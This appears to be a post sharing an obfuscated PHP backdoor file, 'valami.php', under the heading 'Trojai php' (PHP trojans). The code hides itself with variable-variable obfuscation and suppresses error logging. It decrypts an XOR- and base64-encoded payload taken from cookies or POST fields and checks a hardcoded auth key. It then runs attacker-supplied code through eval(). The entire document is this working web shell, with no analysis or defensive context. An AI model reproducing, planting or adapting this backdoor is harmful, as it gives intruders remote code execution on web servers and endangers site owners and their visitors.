Trojai php

valami.php

<?php $ {
    "GLOBALS"
}
["kdqyee"] = "value";
$ {
    "GLOBALS"
}
["wbqqbgo"] = "key";
$ {
    "GLOBALS"
}
["tfbquvu"] = "data";
$ {
    "GLOBALS"
}
["bbanhqvndk"] = "i";
$ {
    "GLOBALS"
}
["ewvtujqfscp"] = "data";
$ {
    "GLOBALS"
}
["ohnbhdkyv"] = "out_data";
$ {
    "GLOBALS"
}
["lsrirxu"] = "data_key";
$ {
    "GLOBALS"
}
["xewhrrh"] = "data";
@ini_set("error_log", NULL);
$ {
    "GLOBALS"
}
["rbvcjvj"] = "auth";
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
    define("PHP_EOL", "
");
}
$vmqnpxxlira = "data";
if (!defined("DIRECTORY_SEPARATOR")) {
    define("DIRECTORY_SEPARATOR", "/");
}
$ {
    $vmqnpxxlira
} = NULL;
$ {
    $ {
        "GLOBALS"
    }
    ["lsrirxu"]
} = NULL;
$ {
    "GLOBALS"
}
["ubyvwxnsrc"] = "data";
$ {
    "GLOBALS"
}
["bbbrxhjyxt"] = "data_key";
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
function sh_decrypt_phase($data, $key) {
    $ {
        "GLOBALS"
    }
    ["ujphlsdqiu"] = "data";
    $tsqyubyswrf = "i";
    $ {
        $ {
            "GLOBALS"
        }
        ["ohnbhdkyv"]
    } = "";
    for ($ {
        $tsqyubyswrf
    } = 0;$ {
        $ {
            "GLOBALS"
        }
        ["bbanhqvndk"]
    } < strlen($ {
        $ {
            "GLOBALS"
        }
        ["ujphlsdqiu"]
    });) {
        $bjcnkfamvh = "key";
        $pjiispdj = "j";
        $ {
            "GLOBALS"
        }
        ["mcodfuwqujh"] = "i";
        $pszcxlnrgd = "j";
        $zbfhjvj = "j";
        for ($ {
            $pszcxlnrgd
        } = 0;$ {
            $zbfhjvj
        } < strlen($ {
            $bjcnkfamvh
        }) && $ {
            $ {
                "GLOBALS"
            }
            ["bbanhqvndk"]
        } < strlen($ {
            $ {
                "GLOBALS"
            }
            ["tfbquvu"]
        });$ {
            $pjiispdj
        }
        ++, $ {
            $ {
                "GLOBALS"
            }
            ["mcodfuwqujh"]
        }
        ++) {
            $gpiimpd = "data";
            $trnoflumek = "key";
            $wjyrgwtmb = "j";
            $ {
                $ {
                    "GLOBALS"
                }
                ["ohnbhdkyv"]
            }.= chr(ord($ {
                $gpiimpd
            }
            [$ {
                $ {
                    "GLOBALS"
                }
                ["bbanhqvndk"]
            }
            ]) ^ ord($ {
                $trnoflumek
            }
            [$ {
                $wjyrgwtmb
            }
            ]));
        }
    }
    return $ {
        $ {
            "GLOBALS"
        }
        ["ohnbhdkyv"]
    };
}
function sh_decrypt($data, $key) {
    $dsteawihats = "auth";
    $ {
        "GLOBALS"
    }
    ["xqohtetq"] = "key";
    global $auth;
    return sh_decrypt_phase(sh_decrypt_phase($ {
        $ {
            "GLOBALS"
        }
        ["tfbquvu"]
    }, $ {
        $dsteawihats
    }), $ {
        $ {
            "GLOBALS"
        }
        ["xqohtetq"]
    });
}
foreach ($_COOKIE as $ {
    $ {
        "GLOBALS"
    }
    ["wbqqbgo"]
} => $ {
    $ {
        "GLOBALS"
    }
    ["kdqyee"]
}) {
    $qvrtyfhkoh = "key";
    $ {
        $ {
            "GLOBALS"
        }
        ["tfbquvu"]
    } = $ {
        $ {
            "GLOBALS"
        }
        ["kdqyee"]
    };
    $ {
        $ {
            "GLOBALS"
        }
        ["lsrirxu"]
    } = $ {
        $qvrtyfhkoh
    };
}
if (!$ {
    $ {
        "GLOBALS"
    }
    ["xewhrrh"]
}) {
    $ {
        "GLOBALS"
    }
    ["femnkih"] = "key";
    foreach ($_POST as $ {
        $ {
            "GLOBALS"
        }
        ["femnkih"]
    } => $ {
        $ {
            "GLOBALS"
        }
        ["kdqyee"]
    }) {
        $ {
            "GLOBALS"
        }
        ["edcxeyaflo"] = "value";
        $ {
            $ {
                "GLOBALS"
            }
            ["tfbquvu"]
        } = $ {
            $ {
                "GLOBALS"
            }
            ["edcxeyaflo"]
        };
        $ {
            $ {
                "GLOBALS"
            }
            ["lsrirxu"]
        } = $ {
            $ {
                "GLOBALS"
            }
            ["wbqqbgo"]
        };
    }
}
$ {
    $ {
        "GLOBALS"
    }
    ["tfbquvu"]
} = @unserialize(sh_decrypt(@base64_decode($ {
    $ {
        "GLOBALS"
    }
    ["ewvtujqfscp"]
}), $ {
    $ {
        "GLOBALS"
    }
    ["bbbrxhjyxt"]
}));
if (isset($ {
    $ {
        "GLOBALS"
    }
    ["tfbquvu"]
}
["ak"]) && $ {
    $ {
        "GLOBALS"
    }
    ["rbvcjvj"]
} == $ {
    $ {
        "GLOBALS"
    }
    ["ubyvwxnsrc"]
}
["ak"]) {
    $ {
        "GLOBALS"
    }
    ["xqyxcohqimb"] = "data";
    if ($ {
        $ {
            "GLOBALS"
        }
        ["tfbquvu"]
    }
    ["a"] == "i") {
        $ {
            "GLOBALS"
        }
        ["csyhhkjgbcw"] = "i";
        $ {
            $ {
                "GLOBALS"
            }
            ["csyhhkjgbcw"]
        } = Array("pv" => @phpversion(), "sv" => "1.0-1",);
        echo @serialize($ {
            $ {
                "GLOBALS"
            }
            ["bbanhqvndk"]
        });
    } elseif ($ {
        $ {
            "GLOBALS"
        }
        ["xqyxcohqimb"]
    }
    ["a"] == "e") {
        $ {
            "GLOBALS"
        }
        ["pkrmrci"] = "data";
        eval($ {
            $ {
                "GLOBALS"
            }
            ["pkrmrci"]
        }
        ["d"]);
    }
}
?>